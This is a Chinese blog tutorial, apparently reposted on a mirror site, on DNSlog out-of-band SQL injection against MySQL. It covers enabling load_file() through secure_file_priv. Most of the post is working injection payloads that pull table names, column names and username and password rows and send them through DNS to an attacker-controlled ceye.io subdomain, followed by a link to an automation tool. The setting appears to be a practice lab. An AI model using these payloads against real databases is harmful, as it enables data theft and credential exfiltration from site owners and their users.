zoukankan      html  css  js  c++  java
  • DNSlog注入

    原理

    我们无法数据库存储的数据,但当我们请求网址时,浏览器会将网址发给DNS服务器,通过服务器找到对应的IP地址并且数据库会把自己的数据给dns服务器,于是我们可以请求自己的网址,并在dnslog上找到我们请求的记录

    直接看到

    使用函数

    • load_file()

    关于load_file()函数的权限配置问题

    • 用show variables like "secure_file_priv"查看导入导出时的目录权限
    • 如果secure_file_priv是NULL说明,是不允许导入导出的
    • 需要在my.ini中改成secure_file_priv=""
      如果没有secure_file_priv需要自己添加,切记是在[mysqld]下的位置配置

      之后,重启mysql服务就好
      补充 当你发现在mysql中用load_file()构造语句,访问自己的ceye.io网址时,平台没有dnslog记录;你用curl命令构造语句,平台是可以记录的,那十有八九是load_file()函数目录权限的问题。

    手工注入

    获取当前数据库中的数据表

    • 使用命令:and load_file(concat('\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.ndlwi5.ceye.io\abc))--+

    命令分析

    1. 利用部分
      (select table_name from information_schema.tables where table_schema=database() limit 0,1)此处是我们利用的代码位置
    2. 可持续获取数据
    • 获取当前库中的所有表,可以在命令中的limit 0,1处改变0(起始位置)的值,来实现获取所有的表(可借助BurpSuite来实现)
    • 也可以直接使用如下命令 and load_file(concat('\\',hex((select group_concat(table_name) from information_schema.tables where table_schema=database())),'.ndlwi5.ceye.io\abc'))--+

      DNSlog获取的数据

      将hex()编码后的数据解码
    1. \abc
      是为了指定一个目标,让load_file去找,找不找得到不重要,去找就行了

    获取表中的列

    • 使用命令:and load_file(concat('\\',hex((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),'.ndlwi5.ceye.io\abc'))--+

    获取数据

    • 使用命令:
    • and load_file(concat('\\',hex((select concat_ws(0x3a,id,username,password) from users limit 0,1)),'.ndlwi5.ceye.io\abc'))--+


      这样获取了user表中的第一行数据
      接下来节注BurpSuite来辅助我们获取数据


    使用工具

    经历了上面的手工注入后,整个人是疲倦的。有没有方便的工具来帮助我们来获取数据呢?
    DNSlog注入工具:https://github.com/ADOOO/DnslogSqlinj
    切记需要在ceye.io平台注册账号,然后将API和http在config.py中修改成自己的

    检测指定位置是否可以进行dnslog注入

    检测数据库名称

    获取security库中的数据表名称

    获取security库user表中的字段名

    获取emails表中的字段名

    感悟

    回想起生说中的一件事情:公司某同事(攻击者)完成了组长(数据库)交代的任务(查询语句),但是并不知道最终的结果会是什么,但是组长的领导(DNS)是自己的舅舅,于是便问舅舅自己做的这件事最终是个什么结果,作为一家人,那自然......

  • 相关阅读:
    metal的gpu query
    体积雾 global fog unity 及改进
    hdr rt format对颜色的影响
    unity deferred lighting
    unity linear space时 photoshop blend的正确设置
    unity linear work flow
    一些数据 bandwidth之类
    deferred rendering with msaa
    unity 显示mipmaplevel
    【转】在C#中使用SendMessage
  • 原文地址:https://www.cnblogs.com/ceiling-/p/14886557.html
Copyright © 2011-2022 走看看